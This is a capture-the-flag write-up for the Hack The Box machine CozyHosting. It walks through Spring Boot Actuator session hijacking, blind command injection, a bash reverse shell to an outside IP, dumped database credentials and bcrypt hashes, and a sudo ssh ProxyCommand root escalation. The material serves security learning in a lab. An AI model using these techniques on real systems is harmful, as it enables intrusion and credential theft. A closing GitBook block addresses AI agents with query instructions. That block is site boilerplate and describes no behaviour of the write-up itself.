> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-oscp-machines/htb-cozyhosting.md).
# HTB - CozyHosting
## Enumeration and Foothold
### NMAP
```bash
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```
### HTTP
add to hosts file
directory enumeration reveals some interesting data.
there is directory called `error` that gives a 500 error.
The error **`There was an unexpected error (type=None, status=999)`** is a generic fallback error page typically generated by a **Java Spring Boot backend using Spring Security**. The `status=999` indicates a non-standard HTTP status code, which means a background system process failed or deliberately blocked your connection.
There is also an actuator directory. I dont know what it is but poking around found this:
A Spring Boot Actuator directory refers to the set of built-in operational endpoints (such as `/health`, `/env`, and `/metrics`) exposed via HTTP or JMX. By default, hitting the root `/actuator` path returns a JSON directory listing hyperlinking all active management endpoints.
i will fetch the `/actuator` directory.
fetching the directory revealed internal endpoints.
getting sessions revealed a username
`kanderson`
fetching the mappings endpoint reveals another endpoint called `/executessh` through which we can send POST request.
it takes two parameter.
but since i have the session key of Anderson i will first get his access.
to get access complete a invalid logon to populate the session cookie and replace the cookie.
we need to replace the `JSESSIONID` in every request else we will be redirected to login page.
takes two parameters, i can use burp to see which it endpoint it makes request too.
it makes request to the `/executessh` endpoint. i can test this for vulnerabilities like injection based attacks.
sending the normal request says host key verification failed.
testing for sql injection gives weird error i haven’t seen before LOL
* The `username` parameter is being unsafely interpolated into a shell command executed with `bash -c`.
* The submitted value `kanderson'` breaks out of an existing quoted string, causing a syntax error. The server responds with a `302` redirect containing the Bash error message in the `Location` header, confirming that the shell is parsing the input.
lets url encode and send.
testing everything result in host key verification error. That said i will try to make it to send request to my machine confirming blind command injection.
### Blind Command Injection
command injection confirmed that said i will get the shell.
i will host a script file on my machine to get the reverse shell.
```bash
┌──(ajay㉿kali)-[~]
└─$ cat script.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.49/4444 0>&1
```
now i will submit another request to execute the script.
## Shell as App
```bash
app@cozyhosting:/app$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
app@cozyhosting:/app$ export TERM=xterm
export TERM=xterm
app@cozyhosting:/app$
```
we need to get to josh to read the user.txt
there is nothing much details on the machine so we need to probably unzip the jar file for further extending access.
#### Unzipping JAR File
do not have permission to unzip in the current directory
will try to move it to tmp directory.
found the database credentials.
#### Connecting to Postgres Database.
```wasm
psql -h localhost -U postgres -d cozyhosting -W
Password: Vg&nvzAQ7XxR
psql (14.9 (Ubuntu 14.9-0ubuntu0.22.04.1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
Type "help" for help.
cozyhosting=#
```
i can also use python to connect to the database
```bash
python3 -c "import psycopg2; conn=psycopg2.connect(host='localhost', dbname='cozyhosting', user='postgres', password='Vg&nvzAQ7XxR'); cur=conn.cursor(); cur.execute('SELECT table_name FROM information_schema.tables WHERE table_schema=\'public\''); print(cur.fetchall())"bash
```
```ada
\list #list database names
```
```
\dt #list tables
```
```
select * from users;
```
```bash
┌──(ajay㉿kali)-[~]
└─$ cat hashes.txt
kanderson:$2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim
admin:$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm
```
the password works for josh.
## Shell as Josh
josh can run ssh as root.
### Abusing SSH Sudo Privilege
{% embed url="" %}
gtfo bins has a page to abuse this privilege.
```bash
josh@cozyhosting:~$ sudo ssh -o ProxyCommand=';/bin/sh 0<&2 1>&2' x
# id
uid=0(root) gid=0(root) groups=0(root)
```
## Shell as Root
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-oscp-machines/htb-cozyhosting.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
